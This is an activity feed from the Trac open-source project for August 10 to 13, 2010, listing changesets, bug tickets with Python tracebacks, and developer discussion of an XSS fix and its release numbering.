05:25 InsideTrac: Trac - Changeset [10006]: 0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ... by rblank: 0.12.1dev: Improvements to the <tt>AuthzSourcePolicy</tt>: <ul><li>Allow access to all parent directories of allowed paths. </li><li>Handle <tt>LOG_VIEW</tt> in the same way as <tt>BROWSER_VIEW</tt> and <tt>FILE_VIEW</tt>. </li><li>For undecided paths and changesets, leave the decision to following policies. </li><li>Implemented the <tt>$anonymous</tt> and <tt>$authenticated</tt> special tokens. </li></ul> Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a> and <a class="closed ticket" href="http://trac.edgewall.org/ticket/8289" title="enhancement: Make SVN Authz compatible with SVN 1.5 (closed: fixed)">#8289</a>.
05:25 InsideTrac: Trac - Changeset [10006]: 0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ... by rblank: 0.12.1dev: Improvements to the <tt>AuthzSourcePolicy</tt>: <ul><li>Allow access to all parent directories of allowed paths. </li><li>Handle <tt>LOG_VIEW</tt> in the same way as <tt>BROWSER_VIEW</tt> and <tt>FILE_VIEW</tt>. </li><li>For undecided paths and changesets, leave the decision to following policies. </li><li>Implemented the <tt>$anonymous</tt> and <tt>$authenticated</tt> special tokens. </li></ul> Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a> and <a class="new ticket" href="http://trac.edgewall.org/ticket/8289" title="enhancement: Make SVN Authz compatible with SVN 1.5 (new)">#8289</a>.
05:25 InsideTrac: Trac - Changeset [10006]: 0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ... by rblank: 0.12.1dev: Improvements to the <tt>AuthzSourcePolicy</tt>: <ul><li>Allow access to all parent directories of allowed paths. </li><li>Handle <tt>LOG_VIEW</tt> in the same way as <tt>BROWSER_VIEW</tt> and <tt>FILE_VIEW</tt>. </li><li>For undecided paths and changesets, leave the decision to following policies. </li><li>Implemented the <tt>$anonymous</tt> and <tt>$authenticated</tt> special tokens. </li></ul> Closes <a class="reopened ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a> and <a class="closed ticket" href="http://trac.edgewall.org/ticket/8289" title="enhancement: Make SVN Authz compatible with SVN 1.5 (closed: fixed)">#8289</a>.
04:21 InsideTrac: Trac - Ticket #9494 ([PATCH] $ticket_props doesn't wrap long field values in notification ...) updated by melvinalisation@…: hi j'ai un moniteur NAT ou un pare-feu qui me bloque. s'il vous plait aidez moi!!! Comment faire?? HELP MY !!! WHAT'S SOLUTION?? Merci d'avance. mel
04:14 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by rblank: Owner, Priority, Milestone changed

08/13/10:

17:53 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) created by itamaro: The AuthzSourcePolicy component uses the resource.id for matching a repository path in the authz file (<a class="source" href="http://trac.edgewall.org/browser/trunk/trac/versioncontrol/svn_authz.py?rev=10005#L154">trunk/trac/versioncontrol/svn_authz.py?rev=10005#L154</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/HEAD/trunk/trac/versioncontrol/svn_authz.py#L154" title="Download"></a>), which is only the relative path from the scope in case of scoped repositories. As a result, it is not possible to reuse the authz file created for serving the SVN repository, which uses full paths. This can be fixed, at least for SVN-scoped-repositories, by replacing the mentioned line with: <div class="code"><pre>for p in parent_iter(self.env.get_repository(resource.parent.id).scope + resource.id.strip('/')): </pre></div>
17:06 InsideTrac: Trac - CommercialServices edited by anonymous: (<a href="http://trac.edgewall.org/wiki/CommercialServices?action=diff&version=88">diff</a>)
12:40 InsideTrac: Trac - Ticket #2182 (configurable date and time formats) updated by anonymous: hi i want to change date to display dd/mm/yyyy since it is in mm/dd/yyyy by default in rhel5
08:31 InsideTrac: Trac - Ticket #9565 (UnicodeEncodeError: 'ascii' codec can't encode character u'\xf8' in ...) updated by cboos: Keywords changed If the error is reproducible, it would be interesting that you modify the line 252 to add the <tt>to_unicode(e)</tt> conversion, the same way it is done line 248, then see what the actual error was. See <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/web/main.py#L252">source:tags/trac-0.11.7/trac/web/main.py@#L252</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/HEAD/tags/trac-0.11.7/trac/web/main.py#L252" title="Download"></a>.
05:58 InsideTrac: Trac - Ticket #9565 (UnicodeEncodeError: 'ascii' codec can't encode character u'\xf8' in ...) created by admin: <h4 id="HowtoReproduce">How to Reproduce</h4> While doing a POST operation on <tt>/newticket</tt>, Trac issued an internal error. (please provide additional details here) Request parameters: <pre class="wiki">{'__FORM_TOKEN': u'22c6b2179eb25d2064c81863', 'field_description': u'Google analytic setup', 'field_drp_resources': u'', 'field_milestone': u'milestone1', 'field_owner': u'Tina Juul M\xf8ller-Nielsen', 'field_remaining_time': u'3', 'field_reporter': u'admin', 'field_sprint': u'T2T sprint 1', 'field_summary': u'Ticket2Travel', 'field_type': u'task', 'submit': u'Create ticket'} </pre> User Agent was: <tt>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8</tt> <h4 id="SystemInformation">System Information</h4> <table class="wiki"> <tr><td> Trac </td><td> <tt>0.11.7</tt> </td></tr><tr><td> Python </td><td> <tt>2.5.4 (r254:67916, Dec 23 2008, 15:10:54) [MSC v.1310 32 bit (Intel)]</tt> </td></tr><tr><td> setuptools </td><td> <tt>0.6c9</tt> </td></tr><tr><td> SQLite </td><td> <tt>3.3.4</tt> </td></tr><tr><td> pysqlite </td><td> <tt>2.3.2</tt> </td></tr><tr><td> Genshi </td><td> <tt>0.5.1</tt> </td></tr><tr><td> Subversion </td><td> <tt>1.5.6 (r36142)</tt> </td></tr><tr><td> Agilo </td><td> <tt>1.3.0.3-pro</tt> </td></tr><tr><td> jQuery: </td><td> <tt>1.2.6</tt> </td></tr></table> <h4 id="PythonTraceback">Python Traceback</h4> <pre class="wiki">Traceback (most recent call last): File "C:\Agilo Installer\Agilo\lib\site-packages\trac-0.11.7-py2.5-win32.egg\trac\web\main.py", line 450, in _dispatch_request File "C:\Agilo Installer\Agilo\lib\site-packages\trac-0.11.7-py2.5-win32.egg\trac\web\main.py", line 252, in dispatch File "C:\Agilo Installer\Agilo\lib\site-packages\trac-0.11.7-py2.5-win32.egg\trac\web\api.py", line 49, in __init__ UnicodeEncodeError: 'ascii' codec can't encode character u'\xf8' in position 22: ordinal not in range(128) </pre>
05:17 InsideTrac: Trac - TracGuide edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracGuide?action=diff&version=62">diff</a>)
05:16 InsideTrac: Trac - TracGuide edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracGuide?action=diff&version=61">diff</a>)
03:04 InsideTrac: Trac - Ticket #130 (Multi-project support) updated by anonymous: Replying to <a href="http://trac.edgewall.org/ticket/130#comment:157" title="Comment 157 for Ticket #130">anonymous</a>: <blockquote class="citation"> comment was added </blockquote> yes, there is
03:03 InsideTrac: Trac - Ticket #130 (Multi-project support) updated by anonymous: comment was added
00:50 InsideTrac: Trac - Ticket #9282 ([PATCH] Highlight New Events in Timeline) updated by mcpbalaji@…: Hi All, we want to hide the some of reports please help to hide. Below the details.( should not view the below mentioned reports. Report Title <a class="report" href="http://trac.edgewall.org/report/1">{1}</a> Active Tickets ----------------------------> Want this Hide <a class="report" href="http://trac.edgewall.org/report/2">{2}</a> Active Tickets by Version ----------------------------> Want this Hide <a class="report" href="http://trac.edgewall.org/report/3">{3}</a> Active Tickets by Milestone ----------------------------> Want this Hide <a class="report" href="http://trac.edgewall.org/report/4">{4}</a> Accepted, Active Tickets by Owner ----------------------------> Want this Hide <a class="report" href="http://trac.edgewall.org/report/5">{5}</a> Accepted, Active Tickets by Owner (Full Description) ----------------------------> Want this Hide <a class="report" href="http://trac.edgewall.org/report/6">{6}</a> All Tickets By Milestone (Including closed) ----------------------------> Want this Hide <a class="report" href="http://trac.edgewall.org/report/7">{7}</a> My Tickets <a class="report" href="http://trac.edgewall.org/report/8">{8}</a> Active Tickets, Mine first <a class="report" href="http://trac.edgewall.org/report/9">{9}</a> Active Tickets for Tech Head <a class="report" href="http://trac.edgewall.org/report/10">{10}</a> Active Tickets for CEO <a class="report" href="http://trac.edgewall.org/report/11">{11}</a> Active Tickets for QCHEAD <a class="report" href="http://trac.edgewall.org/report/12">{12}</a> Active Tickets for SALESHEAD <a class="report" href="http://trac.edgewall.org/report/13">{13}</a> Active Tickers for DESIGNHEAD Please help to do this. Regards, Balaji.V

08/12/10:

16:35 InsideTrac: Trac - Ticket #9564 ("Internal Server Error: decoding Unicode is not supported" with ...) created by kmilner@…: I am using Trac-0.13dev_r9995 with TracSpamFilter-0.3.3dev_r9994. When enabling ExpressionCaptcha, I keep getting prompted to solve a new expression, even when answering it correctly. The problem seems to be caused by this internal error in the trac logs: <pre class="wiki">2010-08-12 13:26:10,236 Trac[main] ERROR: Internal Server Error: Traceback (most recent call last): File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 513, in _dispatch_request dispatcher.dispatch(req) File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 200, in dispatch chosen_handler) File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 346, in _pre_process_request chosen_handler = filter_.pre_process_request(req, chosen_handler) File "/usr/lib/python2.5/site-packages/TracSpamFilter-0.3.3dev_r9994-py2.5.egg/tracspamfilter/captcha/api.py", line 109, in pre_process_request if newhandler.match_request(req): File "build/bdist.linux-x86_64/egg/trac/wiki/intertrac.py", line 38, in match_request match = re.match(r'^/intertrac/(.*)', req.path_info) File "build/bdist.linux-x86_64/egg/trac/web/api.py", line 234, in path_info return unicode(path_info, 'utf-8') TypeError: decoding Unicode is not supported </pre>
16:11 InsideTrac: Trac - Ticket #9563 (ImageCaptcha doesn't set content length in SpamFilter plugin) created by kmilner@…: I am using Trac-0.13dev_r9995 with TracSpamFilter-0.3.3dev_r9994. When enabling ImageCaptcha, I get the following error on challenge pages: Trac detected an internal error: RuntimeError: No Content-Length header set Here is the stack trace: <pre class="wiki">2010-08-12 12:45:54,432 Trac[main] ERROR: Internal Server Error: Traceback (most recent call last): File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 513, in _dispatch_request dispatcher.dispatch(req) File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 235, in dispatch resp = chosen_handler.process_request(req) File "/usr/lib/python2.5/site-packages/TracSpamFilter-0.3.3dev_r9994-py2.5.egg/tracspamfilter/captcha/image.py", line 72, in process_request req.write(image.getvalue()) File "build/bdist.linux-x86_64/egg/trac/web/api.py", line 528, in write raise RuntimeError("No Content-Length header set") RuntimeError: No Content-Length header set </pre> I believe that a change needs to be made here to add the content length field: <a class="source" href="http://trac.edgewall.org/browser/plugins/0.12/spam-filter-captcha/tracspamfilter/captcha/image.py?rev=9994#L62">plugins/0.12/spam-filter-captcha/tracspamfilter/captcha/image.py@9994#L62</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/9994/plugins/0.12/spam-filter-captcha/tracspamfilter/captcha/image.py#L62" title="Download"></a> I'll have to revert to expression captcha in the meantime. Thanks!
11:20 InsideTrac: Trac - Ticket #9111 (TimeoutError: Unable to get database connection within 20 seconds) updated by rblank: Any reason why we shouldn't use <tt>mod_wsgi</tt>? Actually, why do we serve Trac via lighttpd, and the repositories via Apache? Wouldn't it be simpler to do everything with Apache?
11:15 InsideTrac: Trac - Changeset [10005]: 0.13dev: Merged [10001:10004] from 0.12-stable by cboos: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=10001-10004">[10001:10004]</a> from 0.12-stable
10:41 InsideTrac: Trac - Ticket #9111 (TimeoutError: Unable to get database connection within 20 seconds) updated by jonas: Replying to <a href="http://trac.edgewall.org/ticket/9111#comment:20" title="Comment 20 for Ticket #9111">rblank</a>: <blockquote class="citation"> Replying to <a href="http://trac.edgewall.org/ticket/9111#comment:19" title="Comment 19 for Ticket #9111">cboos</a>: <blockquote class="citation"> For example, with latest flup (<a href="http://trac.edgewall.org/ticket/9111#comment:13" title="Comment 13 for Ticket #9111">comment:13</a>), when no more spare thread is available from its thread pool, an error 500 is sent back to the client. </blockquote> Incidentally, I had this a few times yesterday evening. Still not very elegant, but much better than locking up the whole server. </blockquote> That might have been my fault. I started playing a bit with uwsgi on t.e.o last night and in the process restarted and reconfigured lighttpd a few times. It was just something I wanted to experiment a bit with. I'll keep you guys updated when I have some more results or before I want to try something more disruptive.
10:00 InsideTrac: Trac - Ticket #9111 (TimeoutError: Unable to get database connection within 20 seconds) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9111#comment:19" title="Comment 19 for Ticket #9111">cboos</a>: <blockquote class="citation"> For example, with latest flup (<a href="http://trac.edgewall.org/ticket/9111#comment:13" title="Comment 13 for Ticket #9111">comment:13</a>), when no more spare thread is available from its thread pool, an error 500 is sent back to the client. </blockquote> Incidentally, I had this a few times yesterday evening. Still not very elegant, but much better than locking up the whole server.
09:57 InsideTrac: Trac - Ticket #9111 (TimeoutError: Unable to get database connection within 20 seconds) closed by cboos: fixed: The whole set of patches was applied as <a class="changeset" href="http://trac.edgewall.org/changeset/10002" title="db: fair attribution of Connections This changes the logic of the pool ...">r10002</a>, <a class="changeset" href="http://trac.edgewall.org/changeset/10003" title="pool: when taking or returning a Connection, don't do any potentially ...">r10003</a> and <a class="changeset" href="http://trac.edgewall.org/changeset/10004" title="fcgi: make it possible to use the installed version of flup instead of ...">r10004</a>. These changes have been used on t.e.o for the last month, with success. What happens now in case of high load is dependent on the front end. For example, with latest flup (<a href="http://trac.edgewall.org/ticket/9111#comment:13" title="Comment 13 for Ticket #9111">comment:13</a>), when no more spare thread is available from its thread pool, an error 500 is sent back to the client.
09:37 InsideTrac: Trac - Changeset [10004]: fcgi: make it possible to use the installed version of flup instead of ... by cboos: fcgi: make it possible to use the installed version of flup instead of builtin version. The environment varialbe TRAC_USE_FLUP needs to be set to <tt>1</tt> in order to force the use of flup. If <tt>flup</tt> is used, we need to insert some WSGI middleware in order to deal with URL encoding. Related to <a class="closed ticket" href="http://trac.edgewall.org/ticket/9111" title="defect: TimeoutError: Unable to get database connection within 20 seconds (closed: fixed)">#9111</a>.
09:37 InsideTrac: Trac - Changeset [10004]: fcgi: make it possible to use the installed version of flup instead of ... by cboos: fcgi: make it possible to use the installed version of flup instead of builtin version. The environment varialbe TRAC_USE_FLUP needs to be set to <tt>1</tt> in order to force the use of flup. If <tt>flup</tt> is used, we need to insert some WSGI middleware in order to deal with URL encoding. Related to <a class="new ticket" href="http://trac.edgewall.org/ticket/9111" title="defect: TimeoutError: Unable to get database connection within 20 seconds (new)">#9111</a>.
09:36 InsideTrac: Trac - Changeset [10003]: pool: when taking or returning a Connection, don't do any potentially ... by cboos: pool: when taking or returning a Connection, don't do any potentially lenghty operation with the lock held. Related to <a class="closed ticket" href="http://trac.edgewall.org/ticket/9111" title="defect: TimeoutError: Unable to get database connection within 20 seconds (closed: fixed)">#9111</a>.
09:36 InsideTrac: Trac - Changeset [10003]: pool: when taking or returning a Connection, don't do any potentially ... by cboos: pool: when taking or returning a Connection, don't do any potentially lenghty operation with the lock held. Related to <a class="new ticket" href="http://trac.edgewall.org/ticket/9111" title="defect: TimeoutError: Unable to get database connection within 20 seconds (new)">#9111</a>.
09:35 InsideTrac: Trac - Changeset [10002]: db: fair attribution of Connections This changes the logic of the pool ... by cboos: db: fair attribution of Connections This changes the logic of the pool into a true FIFO behavior: if there are already waiters, a thread will just wait and not preempt the waiters, unless it came there after resuming from a wait, in which case it should always get the connection. Fixes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9111" title="defect: TimeoutError: Unable to get database connection within 20 seconds (closed: fixed)">#9111</a>.
09:35 InsideTrac: Trac - Changeset [10002]: db: fair attribution of Connections This changes the logic of the pool ... by cboos: db: fair attribution of Connections This changes the logic of the pool into a true FIFO behavior: if there are already waiters, a thread will just wait and not preempt the waiters, unless it came there after resuming from a wait, in which case it should always get the connection. Fixes <a class="new ticket" href="http://trac.edgewall.org/ticket/9111" title="defect: TimeoutError: Unable to get database connection within 20 seconds (new)">#9111</a>.
03:27 InsideTrac: Trac - Ticket #9562 (Demo Site link gives page unavailable) closed by rblank: fixed: Fixed, thanks for the heads-up!
00:19 InsideTrac: Trac - SandBox:Sidebar created by anonymous

08/11/10:

22:43 InsideTrac: Trac - Ticket #9562 (Demo Site link gives page unavailable) created by tim@…: The link is on this page in the red box above this form. The link is 'demo site' (<a class="ext-link" href="http://www.hosted-projects.com/trac/TracDemo/Demo"> http://www.hosted-projects.com/trac/TracDemo/Demo</a>). I am using IE8. Rgds, Tim
18:23 InsideTrac: Trac - TranslationRu/TracInstall edited by aprudnikov: Partial update info to 0.12 version (<a href="http://trac.edgewall.org/wiki/TranslationRu/TracInstall?action=diff&version=12">diff</a>)
17:51 InsideTrac: Trac - Ticket #9339 ([Patch] Nothing happens by clicking on foldable elements) updated by rblank: Owner changed
17:51 InsideTrac: Trac - Ticket #9339 ([Patch] Nothing happens by clicking on foldable elements) closed by rblank: fixed: Replying to <a href="http://trac.edgewall.org/ticket/9339#comment:5" title="Comment 5 for Ticket #9339">jomae</a>: <blockquote class="citation"> That's OK. The default cursor of anchors is "pointer", we should remove <tt>.css("cursor", "pointer")</tt>... </blockquote> Indeed, that works fine. Applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10001" title="0.12.1dev: Fixed the cursor displayed on the right of foldable heading. ...">[10001]</a>.
17:50 InsideTrac: Trac - Changeset [10001]: 0.12.1dev: Fixed the cursor displayed on the right of foldable heading. ... by rblank: 0.12.1dev: Fixed the cursor displayed on the right of foldable heading. Patch by Jun Omae. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9339" title="defect: [Patch] Nothing happens by clicking on foldable elements (closed: fixed)">#9339</a>.
17:37 InsideTrac: Trac - Changeset [10000]: 0.13dev: Merged [9982-9999] from 0.12-stable. r10k, yay! by rblank: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=9982-9999">[9982-9999]</a> from 0.12-stable. r10k, yay!
17:25 InsideTrac: Trac - Changeset [9999]: 0.12-stable: Merged [9963-9998] from 0.11-stable. by rblank: 0.12-stable: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=9963-9998">[9963-9998]</a> from 0.11-stable.
17:14 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: Version updated to 0.11.8 in <a class="changeset" href="http://trac.edgewall.org/changeset/9998" title="0.11-stable: Changed the version number to 0.11.8, as 0.11.7.1 will not be ...">[9998]</a>. And now, if only I could find two items to commit right now... :)
17:13 InsideTrac: Trac - Changeset [9998]: 0.11-stable: Changed the version number to 0.11.8, as 0.11.7.1 will not be ... by rblank: 0.11-stable: Changed the version number to 0.11.8, as 0.11.7.1 will not be released (and 0.11.8 may or may not). See <a href="http://trac.edgewall.org/ticket/9557#comment:10" title="Comment 10 for Ticket #9557">comment:10:ticket:9557</a>.
17:10 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) closed by rblank: fixed: Patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/9997" title="0.11-stable: Added an option `[wiki] safe_schemes` allowing to specify a ...">[9997]</a>. Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:10" title="Comment 10 for Ticket #9557">cboos</a>: <blockquote class="citation"> So I'd go for the following: rename the version to 0.11.8dev, rename the milestone to 0.11.8 and ... leave it at this, as the branch was announced to be frozen anyway. People caring about getting the latest stable can always use it from svn, and packagers can cherry pick the security fixes they want. </blockquote> That's fine for me, too. I have renamed the milestone and removed the due date, and I'll fix the version and <a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">[9900]</a> in a minute.
17:07 InsideTrac: Trac - Ticket #7948 (Custom Ticket Field generates error in Query view) updated by rblank: Milestone changed
16:59 InsideTrac: Trac - Changeset [9997]: 0.11-stable: Added an option `[wiki] safe_schemes` allowing to specify a ... by rblank: 0.11-stable: Added an option <tt>[wiki] safe_schemes</tt> allowing to specify a list of "safe" URI schemes, which are allowed in <tt>{{{#!html}}}</tt> blocks when <tt>[wiki] render_unsafe_content</tt> is <tt>false</tt>. The same list is used to restrict the allowed schemes in <a class="wiki" href="http://trac.edgewall.org/wiki/TracLinks">TracLinks</a>. Closes <a class="assigned ticket" href="http://trac.edgewall.org/ticket/9557" title="defect: User-assisted XSS risk via javascript: links (assigned)">#9557</a>.
16:59 InsideTrac: Trac - Changeset [9997]: 0.11-stable: Added an option `[wiki] safe_schemes` allowing to specify a ... by rblank: 0.11-stable: Added an option <tt>[wiki] safe_schemes</tt> allowing to specify a list of "safe" URI schemes, which are allowed in <tt>{{{#!html}}}</tt> blocks when <tt>[wiki] render_unsafe_content</tt> is <tt>false</tt>. The same list is used to restrict the allowed schemes in <a class="wiki" href="http://trac.edgewall.org/wiki/TracLinks">TracLinks</a>. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9557" title="defect: User-assisted XSS risk via javascript: links (closed: fixed)">#9557</a>.
15:35 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:9" title="Comment 9 for Ticket #9557">osimons</a>: <blockquote class="citation"> I think that we should reserve the 4-numbered releases for the "re-issue" of a version. </blockquote> Yes, and in case that was not clear from <a href="http://trac.edgewall.org/ticket/9557#comment:6" title="Comment 6 for Ticket #9557">comment:6</a>, this is just what was planned for 0.11.7.1 initially: add the attachment security fix to 0.11.7 and that's it. However, this "last" 0.11 release never materialized for various reasons, mainly the focus on 0.12 from the active maintainers. <blockquote class="citation"> Anything else that is just "later" of varying importance should be 0.11.8(dev). </blockquote> The problem is that a 0.11.8 version was never planned, as 0.11.7 was meant to be the last release of the 0.11-stable line. However we can have a "running" last milestone and never actually release it, like we did for <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.9.7">milestone:0.9.7</a>, <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.10.6">milestone:0.10.6</a>, ... <blockquote class="citation"> The 0.11.7.1 release would then make sense as a re-release of 0.11.7 with this fix - but without any other 0.11.8dev fixes that may be part of the branch. It would be a re-issue of a release for a very specific purpose, and we could also adjust the content of the tagged code to just include this fix and nothing else. </blockquote> That doesn't make sense in this case, as there is no reason to exclude what's already on 0.11-stable. <blockquote class="citation"> In practice we could even svn copy from the 0.11.7 tag, apply the patch and update versions, and commit the new tag. </blockquote> And that would be very harsh for the mirrors... So I pleaded to keep 0.11.7.1 for simplicity as that was the name we had, but actually doing the rename to 0.11.8 (and fix up for <a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>) would have been faster, I imagine. So I'd go for the following: rename the version to 0.11.8dev, rename the milestone to 0.11.8 and ... leave it at this, as the branch was announced to be frozen anyway. People caring about getting the latest stable can always use it from svn, and packagers can cherry pick the security fixes they want. We have enough work to get <a class="milestone" href="http://trac.edgewall.org/milestone/0.12.1">0.12.1</a> out of the door!
12:51 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by osimons: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:7" title="Comment 7 for Ticket #9557">rblank</a>: <blockquote class="citation"> I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though. </blockquote> I think that we should reserve the 4-numbered releases for the "re-issue" of a version. In the rare event where for instance we spotted some file missing in distributions or installs, or some similar reason like this important and highly specific fix. We shouldn't schedule a release like 0.11.7.1 with milestone and all - if we need it, it will be obvious. Anything else that is just "later" of varying importance should be 0.11.8(dev). The 0.11.7.1 release would then make sense as a re-release of 0.11.7 with this fix - but without any other 0.11.8dev fixes that may be part of the branch. It would be a re-issue of a release for a very specific purpose, and we could also adjust the content of the tagged code to just include this fix and nothing else. In practice we could even svn copy from the 0.11.7 tag, apply the patch and update versions, and commit the new tag. Separately committing the patch to 0.11-stable/0.12-stable/trunk as the regular workflow dictactes.
09:21 InsideTrac: Trac - Ticket #6121 (Login/logout with mod_python doesn't work well - probably session problem) updated by mpapis@…: Replying to <a href="http://trac.edgewall.org/ticket/6121#comment:23" title="Comment 23 for Ticket #6121">mpapis@…</a>: <blockquote class="citation"> in trac 0.12 setting auth_cookie_lifetime to 360000 helps a lot </blockquote> Unfortunately this fixes only for some users, problem still appears, even after removing all plugins it breaks.
07:20 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:7" title="Comment 7 for Ticket #9557">rblank</a>: <blockquote class="citation"> Not necessarily (...) </blockquote> Ok, go for this fix then (0.11-stable as well). <blockquote class="citation"> I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though. </blockquote> I have the impression that packagers are more likely to upgrade to .1 security fixes releases than go for another minor release, even if those would be the same changes... But what we can do next time we're on a tangent situation, is to post-pone the choice of the version number to the moment we make the release. So if we're indeed doing it as an "after thought" of a minor release, we could use a patch release, but if this turn out to be a more regular release, increment the minor number.
03:21 InsideTrac: Trac - Ticket #9561 (u'complete') closed by rblank: cantfix: <a class="wiki" href="http://trac.edgewall.org/wiki/PluginIssue">PluginIssue</a> (<a class="ext-link" href="http://trac-hacks.org/intertrac/GanttCalendarPlugin" title="GanttCalendarPlugin in Trac-Hacks Community Site"> th:GanttCalendarPlugin</a>) and / or local patch issue (Trac-0.11.7.ja1).
03:15 InsideTrac: Trac - Ticket #9561 (u'complete') created by aki-wada: <h4 id="HowtoReproduce">How to Reproduce</h4> While doing a POST operation on <tt>/query</tt>, Trac issued an internal error. (please provide additional details here) Request parameters: <pre class="wiki">{'__FORM_TOKEN': u'4d413433134f804745cf7682', 'batchmod': u'\u30c1\u30b1\u30c3\u30c8\u306e\u4e00\u62ec\u66f4\u65b0', 'bmod_flag_comment': u'on', 'bmod_flag_milestone': u'on', 'bmod_value_checkbox_billable': u'1', 'bmod_value_comment': u'', 'bmod_value_milestone': u'11.88', 'col': [u'id', u'summary', u'owner', u'type', u'priority', u'component', u'version'], 'group': u'resolution', 'milestone': u'11.90', 'selectedTickets': u'292,298,325,299,324', 'status': u'closed'} </pre> User Agent was: <tt>Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 (.NET CLR 3.5.30729)</tt> <h4 id="SystemInformation">System Information</h4> <table class="wiki"> <tr><td> Trac </td><td> <tt>0.11.7.ja1</tt> </td></tr><tr><td> Python </td><td> <tt>2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)]</tt> </td></tr><tr><td> setuptools </td><td> <tt>0.7a1</tt> </td></tr><tr><td> Genshi </td><td> <tt>0.5</tt> </td></tr><tr><td> <a class="missing wiki" href="http://trac.edgewall.org/wiki/CustomFieldAdmin" rel="nofollow">CustomFieldAdmin?</a> </td><td> <tt>0.2.2.1</tt> </td></tr><tr><td> SQLite </td><td> <tt>3.6.13</tt> </td></tr><tr><td> pysqlite </td><td> <tt>2.3.2</tt> </td></tr><tr><td> jQuery: </td><td> <tt>1.2.6</tt> </td></tr></table> <h4 id="PythonTraceback">Python Traceback</h4> <pre class="wiki">Traceback (most recent call last): File "f:\traclight\python\lib\site-packages\TraM-0.3-py2.5.egg\tram\main.py", line 274, in dispatch_request dispatcher.dispatch(req) File "f:\traclight\python\lib\site-packages\Trac-0.11.7.ja1-py2.5.egg\trac\web\main.py", line 176, in dispatch chosen_handler) File "f:\traclight\python\lib\site-packages\Trac-0.11.7.ja1-py2.5.egg\trac\web\main.py", line 296, in _pre_process_request chosen_handler = filter_.pre_process_request(req, chosen_handler) File "build\bdist.win32\egg\batchmod\web_ui.py", line 36, in pre_process_request self._batch_modify(req) File "build\bdist.win32\egg\batchmod\web_ui.py", line 69, in _batch_modify t.save_changes(req.authname, comment) File "f:\traclight\python\lib\site-packages\Trac-0.11.7.ja1-py2.5.egg\trac\ticket\model.py", line 300, in save_changes listener.ticket_changed(self, comment, author, old_values) File "f:\traclight\python\lib\site-packages\TracGanttCalendarPlugin-0.3-py2.5.egg\ganttcalendar\complete_by_close.py", line 28, in ticket_changed self.log.debug("complete: %s" % ticket.values[complete_field]) KeyError: u'complete' </pre>

08/10/10:

23:50 InsideTrac: Trac - Changeset [9996]: 0.12.1dev: l10n/es_AR: Fixed typos (100%) by rmorales: 0.12.1dev: l10n/es_AR: Fixed typos (100%)
20:04 InsideTrac: Trac - Ticket #525 (Batch Modification Functionality) updated by daltonmatos@…: Cc changed
16:46 InsideTrac: Trac - Ticket #791 (login/logout, authentication, and authorization) updated by Bruno Matos <bruno.matos@…>: Cc changed Any advances on this? Thank you, Bruno Matos
16:22 InsideTrac: Trac - TracDev/Proposals/BatchModification edited by osimons: I don't like the separate permission... (<a href="http://trac.edgewall.org/wiki/TracDev/Proposals/BatchModification?action=diff&version=8">diff</a>)
13:18 InsideTrac: Trac - Ticket #886 (Add support for Master tickets) updated by r6dude@…: Cc changed
13:16 InsideTrac: Trac - Ticket #886 (Add support for Master tickets) updated by ray@…: Cc changed
